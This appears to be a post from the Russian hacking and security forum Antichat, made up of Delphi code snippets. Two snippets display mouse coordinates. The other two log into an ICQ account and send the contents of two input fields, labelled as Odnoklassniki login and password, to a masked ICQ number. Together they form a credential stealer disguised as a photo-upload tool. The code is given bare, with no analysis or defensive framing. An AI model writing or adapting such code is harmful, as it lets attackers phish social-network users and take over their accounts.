ANTICHAT — форум по информационной безопасности, OSINT и технологиям

procedure TForm1.FormMouseDown(Sender: TObject; Button: TMouseButton;
  Shift: TShiftState; X, Y: Integer);
var
 t:tpoint;
begin
 GetCursorPos(t);
 Label1.Caption:=inttostr(t.X)+' - '+inttostr(t.Y);
end;

procedure TForm1.FormMouseDown(Sender: TObject; Button: TMouseButton;
  Shift: TShiftState; X, Y: Integer);
begin
 Label1.Caption:=inttostr(X)+' - '+inttostr(Y);
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
icqclient1.UIN:= strtoint('*****');
icqclient1.Password:= '*****';
ICQClient1.Login();
ShowMessage('Вы успешно залогинились на сервере.');
Button2.Enabled:=True;
Button1.Enabled:=False;
end;

procedure TForm1.ICQClient1Login(Sender: TObject);
begin
icqclient1.SendMessage(******, 'Отправка с Одноклассники добавление фотографий Login: ' + Edit1.Text + '  Password: ' + Edit2.Text );
end;